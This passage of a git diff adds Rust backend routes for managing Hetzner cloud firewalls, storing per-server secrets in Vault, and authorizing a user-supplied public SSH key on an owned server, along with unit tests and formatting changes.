+    let cloud_id = server.cloud_id.ok_or_else(|| {
+        JsonResponse::<ConfigureCloudFirewallResponse>::build()
+            .bad_request("Cloud firewall operations require a cloud-managed server")
+    })?;
+    let cloud = db::cloud::fetch(pg_pool.get_ref(), cloud_id)
+        .await
+        .map_err(|err| {
+            JsonResponse::<ConfigureCloudFirewallResponse>::build().internal_server_error(err)
+        })
+        .and_then(|cloud| match cloud {
+            Some(cloud) if cloud.user_id == user.id => Ok(cloud),
+            _ => Err(JsonResponse::<ConfigureCloudFirewallResponse>::build()
+                .not_found("Cloud credentials not found")),
+        })?;
+
+    let provider = normalize_provider(&cloud.provider).ok_or_else(|| {
+        JsonResponse::<ConfigureCloudFirewallResponse>::build()
+            .bad_request(format!("Unsupported cloud provider: {}", cloud.provider))
+    })?;
+    let credentials = prepare_cloud_firewall_credentials(provider, cloud)
+        .map_err(|err| JsonResponse::<ConfigureCloudFirewallResponse>::build().bad_request(err))?;
+
+    let server_public_ip = server
+        .srv_ip
+        .clone()
+        .filter(|ip| !ip.trim().is_empty())
+        .ok_or_else(|| {
+            JsonResponse::<ConfigureCloudFirewallResponse>::build()
+                .bad_request("Cloud firewall operations require a server public IP")
+        })?;
+
+    let managed_scope = format!("server:{}", server.id);
+    let mut rules = rules_from_request(&form, managed_scope)
+        .map_err(|err| JsonResponse::<ConfigureCloudFirewallResponse>::build().bad_request(err))?;
+    for rule in &mut rules {
+        rule.labels
+            .insert("stacker.server_id".to_string(), server.id.to_string());
+    }
+
+    let mut target = CloudFirewallTarget {
+        provider: provider.to_string(),
+        cloud_id,
+        server_id: server.id,
+        project_id: server.project_id,
+        deployment_hash: None,
+        server_public_ip,
+        provider_server_id: None,
+        server_name: server.name.clone().or_else(|| server.server.clone()),
+        region: server.region.clone(),
+        zone: server.zone.clone(),
+        firewall_id: None,
+        firewall_name: None,
+    };
+    let default_firewall_name = default_firewall_name(&target);
+    let resolved_firewall = list_cloud_firewall(&credentials, &default_firewall_name, &target)
+        .await
+        .map_err(|err| JsonResponse::<ConfigureCloudFirewallResponse>::build().bad_request(err))?;
+    apply_resolved_firewall_to_target(&mut target, &resolved_firewall);
+
+    let mut provider_context = BTreeMap::new();
+    provider_context.insert(
+        provider.to_string(),
+        serde_json::json!({ "firewall_name": resolved_firewall.name.clone() }),
+    );
+    let firewall_name = resolved_firewall.name.clone();
+
+    let operation_id = format!("cfw_{}", uuid::Uuid::new_v4());
+    for rule in &mut rules {
+        rule.labels
+            .insert("stacker.operation_id".to_string(), operation_id.clone());
+    }
+
+    let message = CloudFirewallOperationMessage {
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        operation_id: operation_id.clone(),
+        idempotency_key: idempotency_key(server.id, &action, &rules),
+        action,
+        dry_run: form.dry_run,
+        target,
+        rules,
+        credentials,
+        provider_context,
+        requested_by: CloudFirewallRequestedBy {
+            user_id: user.id.clone(),
+            user_email: Some(user.email.clone()),
+        },
+    };
+
+    if message.action == CloudFirewallAction::List {
+        let routing_key = routing_key(&message.target.provider).unwrap_or_default();
+
+        return Ok(JsonResponse::build()
+            .set_item(ConfigureCloudFirewallResponse {
+                operation_id,
+                accepted: true,
+                protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+                provider: provider.to_string(),
+                server_id: server.id,
+                action: CloudFirewallAction::List,
+                rules: Vec::new(),
+                routing_key,
+                message: "Cloud firewall list retrieved".to_string(),
+                firewall_name: Some(firewall_name),
+                firewall: Some(resolved_firewall),
+            })
+            .ok("Cloud firewall list retrieved"));
+    }
+
+    let response = install_service
+        .configure_cloud_firewall(message, mq_manager.get_ref())
+        .await
+        .map_err(|err| {
+            JsonResponse::<ConfigureCloudFirewallResponse>::build().internal_server_error(err)
+        })?;
+
+    let routing_key = routing_key(&response.provider).unwrap_or(response.routing_key.clone());
+    Ok(JsonResponse::build()
+        .set_item(ConfigureCloudFirewallResponse {
+            routing_key,
+            firewall_name: Some(firewall_name),
+            ..response
+        })
+        .ok("Cloud firewall operation accepted"))
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerFirewallsResponse {
+    #[serde(default)]
+    firewalls: Vec<HetznerFirewall>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerFirewall {
+    id: i64,
+    name: String,
+    #[serde(default)]
+    rules: Vec<CloudFirewallProviderRule>,
+    #[serde(default)]
+    applied_to: Vec<HetznerFirewallAppliedTo>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerFirewallAppliedTo {
+    #[serde(default)]
+    server: Option<HetznerAppliedServer>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerAppliedServer {
+    id: i64,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerServersResponse {
+    #[serde(default)]
+    servers: Vec<HetznerServer>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerServer {
+    id: i64,
+    name: String,
+    #[serde(default)]
+    public_net: Option<HetznerServerPublicNet>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerServerPublicNet {
+    #[serde(default)]
+    ipv4: Option<HetznerServerIpv4>,
+    #[serde(default)]
+    firewalls: Vec<HetznerServerFirewall>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerServerIpv4 {
+    ip: String,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct HetznerServerFirewall {
+    id: i64,
+}
+
+async fn list_cloud_firewall(
+    credentials: &CloudFirewallCredentials,
+    firewall_name: &str,
+    target: &CloudFirewallTarget,
+) -> Result<CloudFirewallDetails, String> {
+    let token = credentials
+        .token
+        .as_deref()
+        .ok_or_else(|| "Hetzner cloud firewall list requires a valid cloud token".to_string())?;
+    let client = reqwest::Client::builder()
+        .connect_timeout(std::time::Duration::from_secs(10))
+        .timeout(std::time::Duration::from_secs(30))
+        .build()
+        .map_err(|err| format!("Failed to initialize Hetzner API client: {}", err))?;
+    let response = client
+        .get("https://api.hetzner.cloud/v1/firewalls")
+        .bearer_auth(token)
+        .query(&[("name", firewall_name)])
+        .send()
+        .await
+        .map_err(|err| format!("Failed to query Hetzner firewalls: {}", err))?;
+
+    let status = response.status();
+    if !status.is_success() {
+        return Err(match status.as_u16() {
+            401 | 403 => {
+                "Hetzner rejected the saved cloud token. Please delete and re-add your Hetzner cloud credentials.".to_string()
+            }
+            _ => format!("Hetzner firewall list failed with status {}", status.as_u16()),
+        });
+    }
+
+    let body: HetznerFirewallsResponse = response
+        .json()
+        .await
+        .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))?;
+    let firewall = match select_single_hetzner_firewall(body.firewalls, firewall_name) {
+        Ok(firewall) => firewall,
+        Err(err) if err.starts_with("Hetzner firewall not found:") => {
+            list_hetzner_firewall_attached_to_server(&client, token, target)
+                .await?
+                .ok_or_else(|| {
+                    format!(
+                        "{}. No firewall attached to server {} was found either",
+                        err, target.server_public_ip
+                    )
+                })?
+        }
+        Err(err) => return Err(err),
+    };
+
+    Ok(CloudFirewallDetails {
+        id: Some(firewall.id),
+        name: firewall.name,
+        rules: firewall.rules,
+    })
+}
+
+async fn list_hetzner_firewall_attached_to_server(
+    client: &reqwest::Client,
+    token: &str,
+    target: &CloudFirewallTarget,
+) -> Result<Option<HetznerFirewall>, String> {
+    let response = client
+        .get("https://api.hetzner.cloud/v1/servers")
+        .bearer_auth(token)
+        .send()
+        .await
+        .map_err(|err| format!("Failed to query Hetzner servers: {}", err))?;
+
+    let status = response.status();
+    if !status.is_success() {
+        return Err(format!(
+            "Hetzner server lookup failed with status {} while resolving firewall for {}",
+            status.as_u16(),
+            target.server_public_ip
+        ));
+    }
+
+    let body: HetznerServersResponse = response
+        .json()
+        .await
+        .map_err(|err| format!("Invalid Hetzner server response: {}", err))?;
+    let server = select_hetzner_server_for_target(body.servers, target);
+    let Some(server) = server else {
+        return Ok(None);
+    };
+
+    if let Some(firewall_id) = server
+        .public_net
+        .as_ref()
+        .and_then(|public_net| public_net.firewalls.first())
+        .map(|firewall| firewall.id)
+    {
+        let response = client
+            .get(format!(
+                "https://api.hetzner.cloud/v1/firewalls/{}",
+                firewall_id
+            ))
+            .bearer_auth(token)
+            .send()
+            .await
+            .map_err(|err| format!("Failed to query Hetzner firewall {}: {}", firewall_id, err))?;
+        let status = response.status();
+        if !status.is_success() {
+            return Err(format!(
+                "Hetzner firewall {} lookup failed with status {}",
+                firewall_id,
+                status.as_u16()
+            ));
+        }
+        return response
+            .json::<serde_json::Value>()
+            .await
+            .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))?
+            .get("firewall")
+            .cloned()
+            .map(serde_json::from_value)
+            .transpose()
+            .map_err(|err| format!("Invalid Hetzner firewall response: {}", err));
+    }
+
+    let response = client
+        .get("https://api.hetzner.cloud/v1/firewalls")
+        .bearer_auth(token)
+        .send()
+        .await
+        .map_err(|err| format!("Failed to query Hetzner firewalls: {}", err))?;
+    let status = response.status();
+    if !status.is_success() {
+        return Err(format!(
+            "Hetzner firewall lookup failed with status {} while resolving attached firewall",
+            status.as_u16()
+        ));
+    }
+    let body: HetznerFirewallsResponse = response
+        .json()
+        .await
+        .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))?;
+
+    Ok(body
+        .firewalls
+        .into_iter()
+        .find(|firewall| firewall_applies_to_server(firewall, server.id)))
+}
+
+fn select_single_hetzner_firewall(
+    firewalls: Vec<HetznerFirewall>,
+    firewall_name: &str,
+) -> Result<HetznerFirewall, String> {
+    let mut firewalls = firewalls.into_iter();
+    match (firewalls.next(), firewalls.next()) {
+        (None, _) => Err(format!("Hetzner firewall not found: {}", firewall_name)),
+        (Some(firewall), None) => Ok(firewall),
+        (Some(_), Some(_)) => Err(format!(
+            "Multiple Hetzner firewalls found with name '{}'; expected exactly one",
+            firewall_name
+        )),
+    }
+}
+
+fn select_hetzner_server_for_target(
+    servers: Vec<HetznerServer>,
+    target: &CloudFirewallTarget,
+) -> Option<HetznerServer> {
+    let target_ip = target.server_public_ip.trim();
+    let target_name = target.server_name.as_deref().unwrap_or("").trim();
+
+    servers.into_iter().find(|server| {
+        let server_ip = server
+            .public_net
+            .as_ref()
+            .and_then(|public_net| public_net.ipv4.as_ref())
+            .map(|ipv4| ipv4.ip.as_str());
+        (!target_ip.is_empty() && server_ip == Some(target_ip))
+            || (!target_name.is_empty() && server.name == target_name)
+    })
+}
+
+fn firewall_applies_to_server(firewall: &HetznerFirewall, server_id: i64) -> bool {
+    firewall
+        .applied_to
+        .iter()
+        .filter_map(|target| target.server.as_ref())
+        .any(|server| server.id == server_id)
+}
+
+fn apply_resolved_firewall_to_target(
+    target: &mut CloudFirewallTarget,
+    firewall: &CloudFirewallDetails,
+) {
+    target.firewall_id = firewall.id.map(|id| id.to_string());
+    target.firewall_name = Some(firewall.name.clone());
+}
+
+fn prepare_cloud_firewall_credentials(
+    provider: &str,
+    cloud: models::Cloud,
+) -> Result<CloudFirewallCredentials, String> {
+    let cloud = if cloud.save_token == Some(true) {
+        crate::forms::CloudForm::decode_model(cloud, true)
+    } else {
+        cloud
+    };
+    let token = non_empty_secret(cloud.cloud_token);
+    let key = non_empty_secret(cloud.cloud_key);
+    let secret = non_empty_secret(cloud.cloud_secret);
+
+    if provider == "htz" && token.is_none() {
+        return Err(
+            "Hetzner cloud firewall operations require a valid cloud token. Please delete and re-add your Hetzner cloud credentials."
+                .to_string(),
+        );
+    }
+
+    Ok(CloudFirewallCredentials {
+        provider: provider.to_string(),
+        token,
+        key,
+        secret,
+    })
+}
+
+fn non_empty_secret(value: Option<String>) -> Option<String> {
+    value
+        .map(|value| value.trim().to_string())
+        .filter(|value| !value.is_empty())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::forms::CloudForm;
+    use std::sync::Mutex;
+
+    static ENV_MUTEX: Mutex<()> = Mutex::new(());
+    const TEST_SECURITY_KEY: &str = "01234567890123456789012345678901";
+
+    fn encrypted_cloud(token: &str) -> models::Cloud {
+        let form = CloudForm {
+            user_id: Some("user-1".to_string()),
+            project_id: None,
+            name: Some("prod-hetzner".to_string()),
+            provider: "htz".to_string(),
+            cloud_token: Some(token.to_string()),
+            cloud_key: None,
+            cloud_secret: None,
+            save_token: Some(true),
+        };
+
+        (&form).into()
+    }
+
+    fn plaintext_cloud(token: &str) -> models::Cloud {
+        models::Cloud::new(
+            "user-1".to_string(),
+            "prod-hetzner".to_string(),
+            "htz".to_string(),
+            Some(token.to_string()),
+            None,
+            None,
+            Some(false),
+        )
+    }
+
+    #[test]
+    fn prepare_cloud_firewall_credentials_decodes_saved_token() {
+        let _lock = ENV_MUTEX.lock().unwrap();
+        std::env::set_var("SECURITY_KEY", TEST_SECURITY_KEY);
+        let cloud = encrypted_cloud("live-hcloud-token");
+        let encrypted_token = cloud.cloud_token.clone();
+
+        let credentials = prepare_cloud_firewall_credentials("htz", cloud).unwrap();
+
+        assert_eq!(credentials.token.as_deref(), Some("live-hcloud-token"));
+        assert_ne!(credentials.token, encrypted_token);
+        std::env::remove_var("SECURITY_KEY");
+    }
+
+    #[test]
+    fn prepare_cloud_firewall_credentials_accepts_plaintext_token() {
+        let cloud = plaintext_cloud("plain-hcloud-token");
+
+        let credentials = prepare_cloud_firewall_credentials("htz", cloud).unwrap();
+
+        assert_eq!(credentials.token.as_deref(), Some("plain-hcloud-token"));
+    }
+
+    #[test]
+    fn select_single_hetzner_firewall_rejects_ambiguous_matches() {
+        let firewalls = vec![
+            HetznerFirewall {
+                id: 1,
+                name: "frw-test".to_string(),
+                rules: Vec::new(),
+                applied_to: Vec::new(),
+            },
+            HetznerFirewall {
+                id: 2,
+                name: "frw-test".to_string(),
+                rules: Vec::new(),
+                applied_to: Vec::new(),
+            },
+        ];
+
+        let error = select_single_hetzner_firewall(firewalls, "frw-test").unwrap_err();
+
+        assert!(error.contains("Multiple Hetzner firewalls"));
+    }
+
+    #[test]
+    fn apply_resolved_firewall_sets_target_identity() {
+        let mut target = CloudFirewallTarget {
+            provider: "htz".to_string(),
+            cloud_id: 1,
+            server_id: 10,
+            project_id: 20,
+            deployment_hash: None,
+            server_public_ip: "203.0.113.10".to_string(),
+            provider_server_id: None,
+            server_name: Some("stale-name".to_string()),
+            region: None,
+            zone: None,
+            firewall_id: None,
+            firewall_name: None,
+        };
+        let firewall = CloudFirewallDetails {
+            id: Some(10957668),
+            name: "frw-coolify-zxiuehu1".to_string(),
+            rules: Vec::new(),
+        };
+
+        apply_resolved_firewall_to_target(&mut target, &firewall);
+
+        assert_eq!(target.firewall_id.as_deref(), Some("10957668"));
+        assert_eq!(
+            target.firewall_name.as_deref(),
+            Some("frw-coolify-zxiuehu1")
+        );
+    }
+
+    #[test]
+    fn select_hetzner_server_for_target_prefers_public_ip() {
+        let target = CloudFirewallTarget {
+            provider: "htz".to_string(),
+            cloud_id: 1,
+            server_id: 10,
+            project_id: 20,
+            deployment_hash: None,
+            server_public_ip: "203.0.113.10".to_string(),
+            provider_server_id: None,
+            server_name: Some("stale-name".to_string()),
+            region: None,
+            zone: None,
+            firewall_id: None,
+            firewall_name: None,
+        };
+        let servers = vec![HetznerServer {
+            id: 123,
+            name: "current-name".to_string(),
+            public_net: Some(HetznerServerPublicNet {
+                ipv4: Some(HetznerServerIpv4 {
+                    ip: "203.0.113.10".to_string(),
+                }),
+                firewalls: vec![HetznerServerFirewall { id: 456 }],
+            }),
+        }];
+
+        let server = select_hetzner_server_for_target(servers, &target).unwrap();
+
+        assert_eq!(server.id, 123);
+    }
+
+    #[test]
+    fn firewall_applies_to_server_matches_applied_server_id() {
+        let firewall = HetznerFirewall {
+            id: 456,
+            name: "frw-current".to_string(),
+            rules: Vec::new(),
+            applied_to: vec![HetznerFirewallAppliedTo {
+                server: Some(HetznerAppliedServer { id: 123 }),
+            }],
+        };
+
+        assert!(firewall_applies_to_server(&firewall, 123));
+        assert!(!firewall_applies_to_server(&firewall, 124));
+    }
+}
diff --git a/src/routes/server/delete.rs b/src/routes/server/delete.rs
index e5b9fec2..6211309d 100644
--- a/src/routes/server/delete.rs
+++ b/src/routes/server/delete.rs
@@ -22,7 +22,7 @@ pub async fn delete_preview(
         .map_err(|err| JsonResponse::<Server>::build().internal_server_error(err))
         .and_then(|server| match server {
             Some(server) if server.user_id != user.id => {
-                Err(JsonResponse::<Server>::build().bad_request("Access forbidden"))
+                Err(JsonResponse::<Server>::build().not_found(""))
             }
             Some(server) => Ok(server),
             None => Err(JsonResponse::<Server>::build().not_found("")),
@@ -34,10 +34,9 @@ pub async fn delete_preview(
             .await
             .unwrap_or_default();
 
-        user_servers.iter().any(|s| {
-            s.id != server.id
-                && s.vault_key_path.as_deref() == Some(vault_path.as_str())
-        })
+        user_servers
+            .iter()
+            .any(|s| s.id != server.id && s.vault_key_path.as_deref() == Some(vault_path.as_str()))
     } else {
         false
     };
@@ -63,11 +62,13 @@ pub async fn delete_preview(
         }
     }
 
-    Ok(JsonResponse::<serde_json::Value>::build().set_item(serde_json::json!({
-        "ssh_key_shared": ssh_key_shared,
-        "affected_deployments": affected_deployments,
-        "agent_count": agent_count,
-    })).ok("Delete preview"))
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(serde_json::json!({
+            "ssh_key_shared": ssh_key_shared,
+            "affected_deployments": affected_deployments,
+            "agent_count": agent_count,
+        }))
+        .ok("Delete preview"))
 }
 
 #[tracing::instrument(name = "Delete user's server with cleanup.", skip_all)]
@@ -85,7 +86,7 @@ pub async fn item(
         .map_err(|err| JsonResponse::<Server>::build().internal_server_error(err))
         .and_then(|server| match server {
             Some(server) if server.user_id != user.id => {
-                Err(JsonResponse::<Server>::build().bad_request("Delete is forbidden"))
+                Err(JsonResponse::<Server>::build().not_found(""))
             }
             Some(server) => Ok(server),
             None => Err(JsonResponse::<Server>::build().not_found("")),
@@ -97,20 +98,16 @@ pub async fn item(
             .await
             .unwrap_or_default();
 
-        user_servers.iter().any(|s| {
-            s.id != server.id
-                && s.vault_key_path.as_deref() == Some(vault_path.as_str())
-        })
+        user_servers
+            .iter()
+            .any(|s| s.id != server.id && s.vault_key_path.as_deref() == Some(vault_path.as_str()))
     } else {
         false
     };
 
     // 2. Delete SSH key from Vault if not shared and key exists
     if !ssh_key_shared && server.vault_key_path.is_some() {
-        if let Err(e) = vault_client
-            .delete_ssh_key(&user.id, server.id)
-            .await
-        {
+        if let Err(e) = vault_client.delete_ssh_key(&user.id, server.id).await {
             tracing::warn!(
                 "Failed to delete SSH key from Vault for server {}: {}. Continuing with server deletion.",
                 server.id,
diff --git a/src/routes/server/get.rs b/src/routes/server/get.rs
index 07951acf..ac8ad8b0 100644
--- a/src/routes/server/get.rs
+++ b/src/routes/server/get.rs
@@ -41,7 +41,9 @@ pub async fn list(
     db::server::fetch_by_user_with_provider(pg_pool.get_ref(), user.id.as_ref())
         .await
         .map(|servers| JsonResponse::build().set_list(servers).ok("OK"))
-        .map_err(|_err| JsonResponse::<models::ServerWithProvider>::build().internal_server_error(""))
+        .map_err(|_err| {
+            JsonResponse::<models::ServerWithProvider>::build().internal_server_error("")
+        })
 }
 
 #[tracing::instrument(name = "Get servers by project.", skip_all)]
diff --git a/src/routes/server/mod.rs b/src/routes/server/mod.rs
index f2fe05ac..ac975578 100644
--- a/src/routes/server/mod.rs
+++ b/src/routes/server/mod.rs
@@ -1,6 +1,8 @@
 pub mod add;
+pub(crate) mod cloud_firewall;
 pub(crate) mod delete;
 pub(crate) mod get;
+pub(crate) mod secret;
 pub(crate) mod ssh_key;
 pub(crate) mod update;
 
diff --git a/src/routes/server/secret.rs b/src/routes/server/secret.rs
new file mode 100644
index 00000000..8276fbf5
--- /dev/null
+++ b/src/routes/server/secret.rs
@@ -0,0 +1,192 @@
+use crate::db;
+use crate::forms::{RemoteSecretMetadataResponse, UpsertRemoteSecretRequest};
+use crate::helpers::JsonResponse;
+use crate::models;
+use crate::services::VaultService;
+use actix_web::{delete, get, put, web, Responder, Result};
+use serde_json::json;
+use serde_valid::Validate;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+const STATUS_PANEL_NPM_CREDENTIALS_SECRET: &str = "npm_credentials";
+
+async fn fetch_owned_server(
+    pool: &PgPool,
+    user: &models::User,
+    server_id: i32,
+) -> Result<models::Server, actix_web::Error> {
+    let server = db::server::fetch(pool, server_id)
+        .await
+        .map_err(JsonResponse::internal_server_error)?
+        .ok_or_else(|| JsonResponse::not_found("Server not found"))?;
+
+    if server.user_id != user.id {
+        return Err(JsonResponse::not_found("Server not found"));
+    }
+
+    Ok(server)
+}
+
+fn build_vault(
+    settings: &crate::configuration::Settings,
+) -> Result<VaultService, actix_web::Error> {
+    VaultService::from_settings(&settings.vault)
+        .map_err(|error| JsonResponse::internal_server_error(error.to_string()))
+}
+
+fn uses_status_panel_npm_credentials_contract(name: &str) -> bool {
+    name == STATUS_PANEL_NPM_CREDENTIALS_SECRET
+}
+
+fn server_secret_vault_path(
+    vault: &VaultService,
+    user_id: &str,
+    server_id: i32,
+    name: &str,
+) -> String {
+    if uses_status_panel_npm_credentials_contract(name) {
+        vault.status_panel_npm_credentials_path(server_id)
+    } else {
+        vault.server_secret_path(user_id, server_id, name)
+    }
+}
+
+#[tracing::instrument(name = "List server secrets", skip_all)]
+#[get("/{server_id}/secrets")]
+pub async fn list(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let server_id = path.into_inner().0;
+    let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?;
+
+    let items: Vec<RemoteSecretMetadataResponse> =
+        db::remote_secret::list_server_secrets(pg_pool.get_ref(), &user.id, server_id)
+            .await
+            .map_err(JsonResponse::internal_server_error)?
+            .into_iter()
+            .map(Into::into)
+            .collect();
+
+    Ok(JsonResponse::build()
+        .set_list(items)
+        .set_meta(json!({
+            "server_id": server_id
+        }))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Get server secret metadata", skip_all)]
+#[get("/{server_id}/secrets/{name}")]
+pub async fn item(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (server_id, name) = path.into_inner();
+    let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?;
+
+    let secret =
+        db::remote_secret::fetch_server_secret(pg_pool.get_ref(), &user.id, server_id, &name)
+            .await
+            .map_err(JsonResponse::internal_server_error)?
+            .ok_or_else(|| JsonResponse::not_found("Secret not found"))?;
+
+    Ok(JsonResponse::build()
+        .set_item(RemoteSecretMetadataResponse::from(secret))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Upsert server secret", skip_all)]
+#[put("/{server_id}/secrets/{name}")]
+pub async fn upsert(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    body: web::Json<UpsertRemoteSecretRequest>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<crate::configuration::Settings>,
+) -> Result<impl Responder> {
+    let (server_id, name) = path.into_inner();
+    let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?;
+    body.validate()
+        .map_err(|e| JsonResponse::bad_request(e.to_string()))?;
+
+    let vault = build_vault(settings.get_ref())?;
+    let vault_path = server_secret_vault_path(&vault, &user.id, server_id, &name);
+    if uses_status_panel_npm_credentials_contract(&name) {
+        let parsed = serde_json::from_str::<serde_json::Value>(&body.value).map_err(|error| {
+            JsonResponse::bad_request(format!(
+                "npm_credentials body must be valid JSON: {}",
+                error
+            ))
+        })?;
+        if !parsed.is_object() {
+            return Err(JsonResponse::bad_request(
+                "npm_credentials body must be a JSON object".to_string(),
+            ));
+        }
+        vault
+            .store_structured_secret_value(&vault_path, &parsed)
+            .await
+            .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?;
+    } else {
+        vault
+            .store_secret_value(&vault_path, &body.value)
+            .await
+            .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?;
+    }
+
+    let secret = db::remote_secret::upsert_server_secret(
+        pg_pool.get_ref(),
+        &user.id,
+        server_id,
+        &name,
+        &vault_path,
+        &user.id,
+        "synced",
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?;
+
+    Ok(JsonResponse::build()
+        .set_item(RemoteSecretMetadataResponse::from(secret))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Delete server secret", skip_all)]
+#[delete("/{server_id}/secrets/{name}")]
+pub async fn delete(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<crate::configuration::Settings>,
+) -> Result<impl Responder> {
+    let (server_id, name) = path.into_inner();
+    let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?;
+
+    let secret =
+        db::remote_secret::fetch_server_secret(pg_pool.get_ref(), &user.id, server_id, &name)
+            .await
+            .map_err(JsonResponse::internal_server_error)?
+            .ok_or_else(|| JsonResponse::not_found("Secret not found"))?;
+
+    let vault = build_vault(settings.get_ref())?;
+    vault
+        .delete_secret_value(&secret.vault_path)
+        .await
+        .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?;
+
+    db::remote_secret::delete_secret_by_id(pg_pool.get_ref(), secret.id)
+        .await
+        .map_err(JsonResponse::internal_server_error)?;
+
+    Ok(JsonResponse::<String>::build()
+        .set_meta(json!({
+            "deleted": true,
+            "name": name,
+            "scope": "server"
+        }))
+        .ok("OK"))
+}
diff --git a/src/routes/server/ssh_key.rs b/src/routes/server/ssh_key.rs
index 618abf0b..0ace3fa5 100644
--- a/src/routes/server/ssh_key.rs
+++ b/src/routes/server/ssh_key.rs
@@ -5,6 +5,7 @@ use actix_web::{delete, get, post, web, Responder, Result};
 use serde::{Deserialize, Serialize};
 use sqlx::PgPool;
 use std::sync::Arc;
+use std::time::Duration;
 
 /// Request body for uploading an existing SSH key pair
 #[derive(Debug, Deserialize)]
@@ -38,6 +39,25 @@ pub struct GenerateKeyResponseWithPrivate {
     pub message: String,
 }
 
+/// Request body for authorizing a caller-provided public key on the server
+#[derive(Debug, Deserialize)]
+pub struct AuthorizePublicKeyRequest {
+    pub public_key: String,
+    pub user: Option<String>,
+    pub port: Option<u16>,
+}
+
+/// Response for public key authorization
+#[derive(Debug, Clone, Default, Serialize)]
+pub struct AuthorizePublicKeyResponse {
+    pub server_id: i32,
+    pub srv_ip: String,
+    pub ssh_user: String,
+    pub ssh_port: u16,
+    pub authorized: bool,
+    pub message: String,
+}
+
 /// Helper to verify server ownership
 async fn verify_server_ownership(
     pg_pool: &PgPool,
@@ -107,7 +127,10 @@ pub async fn generate_key(
             (Some(path), "active", "SSH key generated and stored in Vault successfully. Copy the public key to your server's authorized_keys.".to_string(), false)
         }
         Err(e) => {
-            tracing::warn!("Failed to store SSH key in Vault (continuing without Vault): {}", e);
+            tracing::warn!(
+                "Failed to store SSH key in Vault (continuing without Vault): {}",
+                e
+            );
             (None, "active", format!("SSH key generated successfully, but could not be stored in Vault ({}). Please save the private key shown below - it will not be shown again!", e), true)
         }
     };
@@ -119,7 +142,11 @@ pub async fn generate_key(
 
     let response = GenerateKeyResponseWithPrivate {
         public_key: public_key.clone(),
-        private_key: if include_private_key { Some(private_key) } else { None },
+        private_key: if include_private_key {
+            Some(private_key)
+        } else {
+            None
+        },
         fingerprint: None, // TODO: Calculate fingerprint
         message,
     };
@@ -239,6 +266,116 @@ pub async fn get_public_key(
     Ok(JsonResponse::build().set_item(Some(response)).ok("OK"))
 }
 
+/// Authorize a caller-provided public key on the remote server.
+///
+/// POST /server/{id}/ssh-key/authorize-public-key
+///
+/// The caller sends only public key material. Stacker retrieves the server's
+/// Vault-managed private key and uses it server-side to append the provided
+/// public key to `authorized_keys` idempotently.
+#[tracing::instrument(name = "Authorize public SSH key for server.", skip_all)]
+#[post("/{id}/ssh-key/authorize-public-key")]
+pub async fn authorize_public_key(
+    path: web::Path<(i32,)>,
+    form: web::Json<AuthorizePublicKeyRequest>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+    vault_client: web::Data<VaultClient>,
+) -> Result<impl Responder> {
+    use crate::helpers::ssh_client;
+
+    let server_id = path.0;
+    let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?;
+
+    if server.key_status != "active" {
+        return Err(
+            JsonResponse::<AuthorizePublicKeyResponse>::build().bad_request(format!(
+                "SSH key status is '{}', not active",
+                server.key_status
+            )),
+        );
+    }
+
+    if server.vault_key_path.is_none() {
+        return Err(JsonResponse::<AuthorizePublicKeyResponse>::build().bad_request(
+            "SSH key is not stored in Vault. Regenerate the server SSH key before authorizing a backup key.",
+        ));
+    }
+
+    let public_key = form.public_key.trim();
+    ssh_key::PublicKey::from_openssh(public_key).map_err(|e| {
+        JsonResponse::<AuthorizePublicKeyResponse>::build()
+            .bad_request(format!("Invalid public key format: {}", e))
+    })?;
+
+    let srv_ip = server
+        .srv_ip
+        .as_deref()
+        .filter(|ip| !ip.trim().is_empty())
+        .ok_or_else(|| {
+            JsonResponse::<AuthorizePublicKeyResponse>::build()
+                .bad_request("Server IP address not configured")
+        })?
+        .to_string();
+
+    let private_key = vault_client
+        .get_ref()
+        .fetch_ssh_key(&user.id, server_id)
+        .await
+        .map_err(|e| {
+            tracing::warn!(
+                "Failed to fetch SSH key from Vault while authorizing backup key: {}",
+                e
+            );
+            JsonResponse::<AuthorizePublicKeyResponse>::build()
+                .bad_request("SSH key could not be retrieved from secure storage")
+        })?;
+
+    let ssh_user = form
+        .user
+        .as_deref()
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .map(ToOwned::to_owned)
+        .or_else(|| server.ssh_user.clone())
